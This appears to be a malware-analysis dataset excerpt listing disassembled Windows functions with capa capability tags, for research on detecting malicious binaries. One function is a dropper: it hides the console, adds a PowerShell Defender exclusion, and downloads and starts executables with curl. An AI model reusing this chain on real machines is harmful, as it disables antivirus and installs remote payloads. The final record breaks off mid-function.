joyce8/EMBER2024-capa huggingface dataset:
Function at 0x7ff7e1b8b5c0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x20], rbx
push rsi
mov eax, 0x20
call fcn.7ff7e1c65b20
sub rsp, rax
mov rbx, rcx
mov rsi, rdx
mov rcx, rdx
call fcn.7ff7e1b423e0
test eax, eax
je 0x7ff7e1b8b5ff
xor edx, edx
mov rcx, rbx
call fcn.7ff7e1b42860
mov eax, 1
mov rbx, qword [rsp + 0x48]
add rsp, 0x20
pop rsi
ret
mov qword [rsp + 0x30], rbp
mov ebp, dword [rsi + 8]
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x40], r14
mov r14, qword [rsi]
lea eax, [rbp - 1]
movsxd rdi, eax
xor eax, eax
mov rcx, qword [r14 + rdi*8]
cmp rcx, 1
sete al
sub ebp, eax
cmp rsi, rbx
je 0x7ff7e1b8b647
mov edx, ebp
mov rcx, rbx
call fcn.7ff7e1b42e00
test rax, rax
je 0x7ff7e1b8b6ad
mov eax, dword [rsi + 0x10]
mov dword [rbx + 0x10], eax
mov rcx, qword [r14 + rdi*8]
mov rax, qword [rbx]
mov rdx, rcx
xor rdx, 1
inc rdx
neg rdx
shl rdx, 0x3f
lea r8, [rax + rdi*8]
shr rcx, 1
je 0x7ff7e1b8b667
mov qword [r8], rcx
test rdi, rdi
jle 0x7ff7e1b8b69e
sub r14, rax
nop
mov rcx, qword [r14 + r8 - 8]
lea r8, [r8 - 8]
mov rax, rcx
dec rdi
shr rax, 1
or rax, rdx
mov rdx, rcx
xor rdx, 1
mov qword [r8], rax
inc rdx
neg rdx
shl rdx, 0x3f
test rdi, rdi
jg 0x7ff7e1b8b670
mov dword [rbx + 8], ebp
test ebp, ebp
jne 0x7ff7e1b8b6a8
mov dword [rbx + 0x10], ebp
mov eax, 1
mov rdi, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x30]
mov r14, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x48]
add rsp, 0x20
pop rsi
ret

Function at 0x7ff7e1b8cf30
Capabilities:
Get thread local storage value

Disassembly:
mov eax, 0x28
call fcn.7ff7e1c65b20
sub rsp, rax
lea rcx, [0x7ff7e1d99094]
add rsp, 0x28
jmp fcn.7ff7e1b57f90

Function at 0x7ff7e1bb8cf0
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x38
call fcn.7ff7e1c65b20
sub rsp, rax
mov r10, rdx
mov dword [rsp + 0x40], 0x10
add rdx, 0xf
lea rax, [r8 + 0xf]
mov r11, rcx
cmp r10, rax
ja 0x7ff7e1bb8d43
xor ecx, ecx
cmp rdx, r8
jb 0x7ff7e1bb8d43
sub r8, r10
lea rax, [rcx + r10]
mov edx, 0x10
sub rdx, rcx
nop
movzx ecx, byte [r8 + rax]
xor byte [rax], cl
lea rax, [rax + 1]
sub rdx, 1
jne 0x7ff7e1bb8d30
jmp 0x7ff7e1bb8d56
movdqu xmm1, xmmword [r10]
movdqu xmm0, xmmword [r8]
pxor xmm1, xmm0
movdqu xmmword [r10], xmm1
mov rcx, qword [r11 + 8]
lea r8, [rsp + 0x40]
mov r9, r10
mov dword [rsp + 0x20], 0x10
mov rdx, r10
call fcn.7ff7e1b85eb0
test eax, eax
je 0x7ff7e1bb8d87
cmp dword [rsp + 0x40], 0x10
jne 0x7ff7e1bb8d87
mov eax, 1
add rsp, 0x38
ret
xor eax, eax
add rsp, 0x38
ret
Function at 0x7ff7e1bb8f30
Capabilities:
Encode data using xor

Disassembly:
mov r10, rcx
test rdx, rdx
je 0x7ff7e1bb8fb8
test r8, r8
je 0x7ff7e1bb8fb8
mov rax, qword [rcx + 0x18]
cmp r8, rax
mov r9, rax
cmovb r9, r8
test r9, r9
je 0x7ff7e1bb8f76
add rcx, 0x20
mov r11, rdx
sub r11, r10
nop
movzx eax, byte [r11 + rcx - 0x20]
xor byte [rcx], al
lea rcx, [rcx + 1]
sub r9, 1
jne 0x7ff7e1bb8f60
mov rax, qword [r10 + 0x18]
cmp r8, rax
jbe 0x7ff7e1bb8fb8
sub r8, rax
cmp r8, 0x10
jbe 0x7ff7e1bb8f8c
mov r8d, 0x10
jmp 0x7ff7e1bb8f91
test r8, r8
je 0x7ff7e1bb8fb8
xor ecx, ecx
nop dword [rax]
nop word [rax + rax]
mov rax, qword [r10 + 0x18]
add rax, rcx
movzx eax, byte [rax + rdx]
xor byte [r10 + rcx + 0x40], al
inc rcx
cmp rcx, r8
jb 0x7ff7e1bb8fa0
ret
Function at 0x7ff7e1bbfa50
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0xd8
call fcn.7ff7e1c65b20
sub rsp, rax
mov rax, qword [0x7ff7e1d8f600]
xor rax, rsp
mov qword [rsp + 0xc0], rax
mov r14, qword [rsp + 0x140]
xor r12d, r12d
mov rax, qword [rcx]
mov rbp, r9
movsxd rbx, r8d
mov rsi, rdx
mov qword [rsp + 0x20], r14
mov rdi, rcx
lea r15d, [r12 + 1]
mov r13d, r12d
test r9, r9
je 0x7ff7e1bbfabf
cmp r9, rax
je 0x7ff7e1bbfab7
test rdx, rdx
je 0x7ff7e1bbfb30
test r8d, r8d
js 0x7ff7e1bbfb30
mov r13d, r15d
mov qword [rcx], r9
jmp 0x7ff7e1bbfac7
test rax, rax
je 0x7ff7e1bbfb30
mov rbp, rax
mov rcx, rbp
call fcn.7ff7e1b39670
test al, 2
jne 0x7ff7e1bbfb30
test rsi, rsi
je 0x7ff7e1bbfb98
mov rcx, rbp
mov r13d, r15d
call fcn.7ff7e1b636d0
cmp eax, 0x90
jg 0x7ff7e1bbfb30
cmp eax, ebx
jge 0x7ff7e1bbfb56
mov rcx, qword [rdi + 8]
mov r8, r14
mov rdx, rbp
call fcn.7ff7e1b468b0
test eax, eax
je 0x7ff7e1bbfb30
mov rcx, qword [rdi + 8]
mov r8, rbx
mov rdx, rsi
call fcn.7ff7e1b46b10
test eax, eax
je 0x7ff7e1bbfb30
mov rcx, qword [rdi + 8]
lea rsi, [rdi + 0x20]
mov r8, rsi
lea rdx, [rdi + 0x24]
call fcn.7ff7e1b467d0
test eax, eax
jne 0x7ff7e1bbfb73
xor eax, eax
mov rcx, qword [rsp + 0xc0]
xor rcx, rsp
call fcn.7ff7e1c64cb0
add rsp, 0xd8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
cmp ebx, 0x90
ja 0x7ff7e1bbfb30
mov r8, rbx
lea rcx, [rdi + 0x24]
mov rdx, rsi
call fcn.7ff7e1c675a0
lea rsi, [rdi + 0x20]
mov dword [rsi], ebx
mov ecx, dword [rsi]
cmp ecx, 0x90
je 0x7ff7e1bbfba1
mov eax, ecx
mov r8d, 0x90
sub r8d, ecx
xor edx, edx
lea rcx, [rdi + 0x24]
add rcx, rax
call fcn.7ff7e1c67c50
jmp 0x7ff7e1bbfba1
test r13d, r13d
je 0x7ff7e1bbfc76
lea r14, [rsp + 0x30]
mov esi, 0x48
sub r14, rdi
lea rbx, [rdi + 0x25]
lea r15, [rsp + 0x31]
mov rcx, rbx
sub r15, rdi
mov edx, esi
nop
movzx eax, byte [rcx - 1]
lea rcx, [rcx + 2]
xor al, 0x36
mov byte [r14 + rcx - 0x27], al
movzx eax, byte [rcx - 2]
xor al, 0x36
mov byte [r15 + rcx - 0x27], al
sub rdx, 1
jne 0x7ff7e1bbfbc0
mov r8, qword [rsp + 0x20]
mov rdx, rbp
mov rcx, qword [rdi + 0x10]
call fcn.7ff7e1b468b0
test eax, eax
je 0x7ff7e1bbfc89
mov rcx, rbp
call fcn.7ff7e1b636d0
mov rcx, qword [rdi + 0x10]
lea rdx, [rsp + 0x30]
movsxd r8, eax
call fcn.7ff7e1b46b10
test eax, eax
je 0x7ff7e1bbfc89
nop word [rax + rax]
movzx eax, byte [rbx - 1]
lea rbx, [rbx + 2]
xor al, 0x5c
mov byte [rbx + r14 - 0x27], al
movzx eax, byte [rbx - 2]
xor al, 0x5c
mov byte [rbx + r15 - 0x27], al
sub rsi, 1
jne 0x7ff7e1bbfc20
mov r8, qword [rsp + 0x20]
mov rdx, rbp
mov rcx, qword [rdi + 0x18]
call fcn.7ff7e1b468b0
test eax, eax
je 0x7ff7e1bbfc89
mov rcx, rbp
call fcn.7ff7e1b636d0
mov rcx, qword [rdi + 0x18]
lea rdx, [rsp + 0x30]
movsxd r8, eax
call fcn.7ff7e1b46b10
test eax, eax
je 0x7ff7e1bbfc89
lea r15d, [rsi + 1]
mov rdx, qword [rdi + 0x10]
mov rcx, qword [rdi + 8]
call fcn.7ff7e1b46b80
test eax, eax
cmovne r12d, r15d
test r13d, r13d
je 0x7ff7e1bbfc9d
mov edx, 0x90
lea rcx, [rsp + 0x30]
call fcn.7ff7e19f1240
mov eax, r12d
jmp 0x7ff7e1bbfb32
Function at 0x7ff7e1c06bd0
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x38
call fcn.7ff7e1c65b20
sub rsp, rax
cmp dword [rsp + 0x68], 0
je 0x7ff7e1c06bf9
lea rax, [0x7ff7e1c05240]
mov qword [rsp + 0x68], rax
add rsp, 0x38
jmp fcn.7ff7e1bfe180
lea rax, [0x7ff7e1c04400]
mov qword [rsp + 0x68], rax
add rsp, 0x38
jmp fcn.7ff7e1bfded0
Function at 0x7ff7e1c8213c
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ebx, ecx
test r8d, r8d
jne 0x7ff7e1c81fcf
xor ecx, ecx
call qword [sym.imp.kernel32.dll_GetModuleHandleW]
test rax, rax
je 0x7ff7e1c81fcf
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x7ff7e1c81fcf
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x7ff7e1c81fcf
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x7ff7e1c81fcf
cmp dword [rcx + 0x84], 0xe
jbe 0x7ff7e1c81fcf
cmp dword [rcx + 0xf8], 0
je 0x7ff7e1c81fcf
mov ecx, ebx
call fcn.7ff7e1c82070
lea rax, [rbp + 0x18]
mov byte [rbp + 0x28], 0
mov qword [rbp - 0x20], rax
lea r9, [rbp - 0x2c]
lea rax, [rbp + 0x20]
mov qword [rbp - 0x18], rax
lea r8, [rbp - 0x20]
lea rax, [rbp + 0x28]
mov qword [rbp - 0x10], rax
lea rdx, [rbp - 0x28]
mov eax, 2
lea rcx, [rbp - 0x30]
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
call fcn.7ff7e1c81e60
cmp dword [rbp + 0x20], 0
je 0x7ff7e1c8201c
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.7ff7e1c82024
int3
xor r8d, r8d
xor edx, edx
jmp 0x7ff7e1c81f68

Function at 0x7ff7e1c9682c
Capabilities:
Delete file

Disassembly:
sub rsp, 0x28
call qword [sym.imp.kernel32.dll_DeleteFileW]
test eax, eax
jne 0x7ff7e1c9684c
call qword [sym.imp.kernel32.dll_GetLastError]
mov ecx, eax
call fcn.7ff7e1c83d34
or eax, 0xffffffff
jmp 0x7ff7e1c9684e
xor eax, eax
add rsp, 0x28
ret
Function at 0x140006940
Capabilities:
Write file on windows

Disassembly:
mov rax, rsp
push rbp
push rdi
push r12
mov rbp, rsp
sub rsp, 0x60
mov qword [rbp - 0x30], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov rdi, rcx
cmp qword [rcx + 0x80], 0
je 0x140006b79
cmp byte [rcx + 0x89], 0
je 0x140006b79
mov rax, qword [rcx]
or edx, 0xffffffff
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x140006b4d
mov edx, 0xf
mov qword [rbp - 0x10], rdx
mov byte [rbp - 0x28], 0
xor ecx, ecx
mov qword [rbp - 0x28], rcx
mov qword [rbp - 0x18], 8
lea rax, [rbp - 0x28]
cmp rdx, 0x10
cmovae rax, rcx
mov byte [rax + 8], cl
xor r12d, r12d
mov r9, qword [rbp - 0x10]
mov r10, qword [rbp - 0x28]
nop word [rax + rax]
lea rdx, [rbp - 0x28]
cmp r9, 0x10
cmovae rdx, r10
lea r8, [rbp - 0x28]
cmovae r8, r10
mov rcx, qword [rdi + 0x80]
mov r10, qword [rcx]
mov rax, qword [rbp - 0x18]
lea r9, [rdx + rax]
lea rax, [rbp + 0x20]
mov qword [rsp + 0x20], rax
lea rdx, [rdi + 0x8c]
call qword [r10 + 0x30]
test eax, eax
je 0x140006a18
dec eax
jne 0x140006b17
jmp 0x140006a1f
mov byte [rdi + 0x89], r12b
lea rax, [rbp - 0x28]
mov r10, qword [rbp - 0x28]
mov r9, qword [rbp - 0x10]
cmp r9, 0x10
cmovae rax, r10
mov rbx, qword [rbp + 0x20]
sub rbx, rax
je 0x140006a6d
lea rcx, [rbp - 0x28]
cmp r9, 0x10
cmovae rcx, r10
mov r9, qword [rdi + 0x98]
mov r8, rbx
mov edx, 1
call fcn.14002f3dc
cmp rbx, rax
jne 0x140006b3d
mov r9, qword [rbp - 0x10]
mov r10, qword [rbp - 0x28]
cmp byte [rdi + 0x89], r12b
je 0x140006b6b
test rbx, rbx
jne 0x1400069d0
or rax, 0xffffffffffffffff
mov r8, qword [rbp - 0x18]
sub rax, r8
cmp rax, 8
jbe 0x140006b5e
lea rbx, [r8 + 8]
cmp rbx, 0xfffffffffffffffe
ja 0x140006b51
cmp r9, rbx
jae 0x140006ac1
mov rdx, rbx
lea rcx, [rbp - 0x28]
call fcn.140001620
mov r9, qword [rbp - 0x10]
mov r10, qword [rbp - 0x28]
jmp 0x140006ade
test rbx, rbx
jne 0x140006ae7
mov qword [rbp - 0x18], r12
lea rax, [rbp - 0x28]
cmp r9, 0x10
cmovae rax, r10
mov byte [rax], r12b
jmp 0x1400069bb
test rbx, rbx
je 0x1400069d0
lea rcx, [rbp - 0x28]
cmp r9, 0x10
cmovae rcx, r10
mov rax, qword [rbp - 0x18]
xor edx, edx
mov qword [rcx + rax], rdx
mov qword [rbp - 0x18], rbx
lea rax, [rbp - 0x28]
cmp qword [rbp - 0x10], 0x10
cmovae rax, qword [rbp - 0x28]
mov byte [rax + rbx], dl
jmp 0x1400069bb
sub eax, 2
je 0x140006b30
cmp qword [rbp - 0x10], 0x10
jb 0x140006b4d
mov rcx, qword [rbp - 0x28]
call fcn.14002dcdc
xor al, al
jmp 0x140006b7b
cmp qword [rbp - 0x10], 0x10
jb 0x140006b79
mov rcx, qword [rbp - 0x28]
jmp 0x140006b74
cmp qword [rbp - 0x10], 0x10
jb 0x140006b4d
mov rcx, qword [rbp - 0x28]
call fcn.14002dcdc
xor al, al
jmp 0x140006b7b
lea rcx, str.string_too_long
call fcn.14000ad84
int3
lea rcx, str.string_too_long
call fcn.14000ad84
nop
cmp r9, 0x10
jb 0x140006b79
mov rcx, r10
call fcn.14002dcdc
mov al, 1
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r12
pop rdi
pop rbp
ret

Function at 0x14000ad11
Capabilities:
Execute syscall

Disassembly:
mov r10, rcx
mov eax, dword [section..data]
syscall
ret

Function at 0x140036ff8
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.140036e68
Function at 0x14003dbdb
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x14005c500]
jne 0x1400315fa
rol rcx, 0x10
test cx, 0xffff
jne 0x1400315f6
repz ret
ror rcx, 0x10
jmp 0x14003db34
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x1414f4c20]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x1414f4d18]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x14003dbb9
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x1414f4c20]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x14003dbdb
mov rax, qword [rsp + 0x88]
mov qword [0x1414f4d18], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x1414f4cb8], rax
mov rax, qword [0x1414f4d18]
mov qword [0x1414f4b90], rax
mov rax, qword [rsp + 0x90]
mov qword [0x1414f4ca0], rax
mov dword [0x1414f4b80], 0xc0000409
mov dword [0x1414f4b84], 1
mov rax, qword [0x14005c500]
mov qword [rsp + 0x68], rax
mov rax, qword [0x14005c508]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x1414f4c18], eax
mov ecx, 1
call fcn.140041124
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x14004eb18]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x1414f4c18], 0
jne 0x14003dc62
mov ecx, 1
call fcn.140041124
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x14004118c
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x14005c500]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.140036828
xor ebx, ebx
cmp qword [0x1414f5258], rbx
mov rdi, rax
jne 0x14004129f
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x140041376
lea rdx, str.MessageBoxW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140041376
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x1414f5258], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x1414f5260], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetUserObjectInformationW
mov rcx, rsi
mov qword [0x1414f5268], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov r11, rax
mov qword [0x1414f5278], rax
test rax, rax
je 0x140041296
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov qword [0x1414f5270], rax
jmp 0x1400412a6
mov rax, qword [0x1414f5270]
jmp 0x1400412ad
mov rax, qword [0x1414f5270]
mov r11, qword [0x1414f5278]
cmp rax, rdi
je 0x140041314
cmp r11, rdi
je 0x140041314
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rcx, qword [0x1414f5278]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x140041314
test rax, rax
je 0x140041314
call rsi
test rax, rax
je 0x14004130e
lea rcx, [rsp + 0x30]
mov r9d, 0xc
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x14004130e
test byte [rsp + 0x40], 1
jne 0x140041314
bts ebp, 0x15
jmp 0x140041354
mov rcx, qword [0x1414f5260]
cmp rcx, rdi
je 0x140041354
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140041354
call rax
mov rbx, rax
test rax, rax
je 0x140041354
mov rcx, qword [0x1414f5268]
cmp rcx, rdi
je 0x140041354
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140041354
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x1414f5258]
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140041376
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x140041378
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1400315e0
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x140001000
Capabilities:
Execute command

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
lea rcx, str.powershell_Add_MpPreference__ExclusionPath__USERPROFILE_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl__o__TEMP_1.exe_https:__raw.githubusercontent.com_something.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.start__TEMP_1.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl__o__TEMP_2.exe_https:__raw.githubusercontent.com_something2.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.start__TEMP_2.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
add rsp, 0x28
ret

Function at 0x140001938
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001982
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001982
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001982
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001982
cmp dword [rcx + 0x84], 0xe
jbe 0x140001982
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001984
xor al, al
add rsp, 0x28
ret
Function at 0x140029b84
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.14001d124
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.14001d124
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x140029cd4
cmp rax, 0xffffffffffffffff
je 0x140029cd4
xor edi, edi
test rbp, rbp
jle 0x140029c7f
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.14001fda4
mov rbx, rax
test rax, rax
jne 0x140029c0c
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x140029c75
mov edx, 0x8000
mov ecx, r14d
call fcn.14001aac0
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.14001de00
cmp eax, 0xffffffff
je 0x140029c55
cdqe
sub rbp, rax
test rbp, rbp
jg 0x140029c1c
mov edx, r15d
mov ecx, r14d
call fcn.14001aac0
jmp 0x140029c75
cmp byte [rsi + 0x38], dil
je 0x140029c6c
cmp dword [rsi + 0x34], 5
jne 0x140029c6c
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x140029c75
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.14001b404
jmp 0x140029ce8
jns 0x140029ce8
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.14001d124
cmp rax, 0xffffffffffffffff
jne 0x140029ca0
cmp byte [rsi + 0x30], dil
je 0x140029ce8
mov edi, dword [rsi + 0x2c]
jmp 0x140029ce8
mov ecx, r14d
call fcn.1400195f8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x140029ce8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x140029ce8
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x140029ce1
mov eax, dword [rsi + 0x2c]
jmp 0x140029ce6
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.14001d124
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret

Function at 0x14002ade0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14002ae08
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x14002ae08
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret

Function at 0x100411cf0
Capabilities:
Encode data using xor

Disassembly:
xor dh, byte [rdx]
xor dh, byte [rdx]
xor dh, byte [rdx]
xor dh, byte [rdx]
xor dh, byte [rdx]
xor dh, byte [rdx]
xor dh, byte [rdx]
xor dh, byte [rdx]
Function at 0x18001fa20
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov r11d, r8d
mov r10, rdx
not r11d
mov r9, rcx
mov eax, r11d
test rdx, rdx
je 0x18001fa7d
lea rbx, [0x1800b3a10]
movzx r8d, byte [r9]
lea r9, [r9 + 1]
dec r10
cmp r8b, 0x23
jne 0x18001fa64
cmp r10, 2
jb 0x18001fa64
cmp byte [r9], r8b
jne 0x18001fa64
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
xor rdx, r8
shr eax, 8
xor eax, dword [rbx + rdx*4]
test r10, r10
jne 0x18001fa40
not eax
mov rbx, qword [rsp + 8]
ret
movzx r8d, byte [rcx]
inc r9
test r8b, r8b
je 0x18001fabf
lea rbx, [0x1800b3a10]
cmp r8b, 0x23
jne 0x18001faa3
cmp byte [r9], r8b
jne 0x18001faa3
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
movzx ecx, r8b
movzx r8d, byte [r9]
xor rdx, rcx
shr eax, 8
inc r9
xor eax, dword [rbx + rdx*4]
test r8b, r8b
jne 0x18001fa90
mov rbx, qword [rsp + 8]
not eax
ret

Function at 0x18001fc80
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push r14
sub rsp, 0x20
xor r14d, r14d
mov rsi, r8
test r8, r8
je 0x18001fc9e
mov qword [r8], r14
lea rdx, [0x1800b30f0]
call fcn.18001fad0
mov rbx, rax
test rax, rax
jne 0x18001fcc3
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
mov qword [rsp + 0x30], rbp
mov rcx, rbx
mov qword [rsp + 0x38], rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
mov ebp, eax
cmp eax, 0xffffffff
je 0x18001fded
xor edx, edx
mov rcx, rbx
lea r8d, [rdx + 2]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x18001fded
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
movsxd rdi, eax
cmp edi, 0xffffffff
je 0x18001fded
xor r8d, r8d
mov edx, ebp
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x18001fded
cmp rdi, 0xffffffffffffffff
je 0x18001fded
mov rcx, rdi
call fcn.180024b50
mov rbp, rax
test rax, rax
je 0x18001fded
mov r9, rbx
mov r8, rdi
mov edx, 1
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov rcx, rbx
cmp rax, rdi
je 0x18001fdda
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov r8, qword [0x1801fe4c0]
test r8, r8
je 0x18001fdcf
movsx rdx, word [r8 + 0x6130]
lea rcx, [r8 + 0x6134]
mov r9d, dword [r8 + 0x3f88]
lea rcx, [rcx + rdx*8]
cmp dword [rcx], r9d
je 0x18001fdc4
lea ecx, [rdx + 1]
mov eax, 0x2aaaaaab
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
add eax, eax
sub ecx, eax
mov word [r8 + 0x6130], cx
movsx rax, cx
lea rcx, [r8 + 0x6134]
lea rcx, [rcx + rax*8]
mov dword [rcx], r9d
mov dword [rcx + 4], r14d
inc word [rcx + 6]
inc dword [r8 + 0x612c]
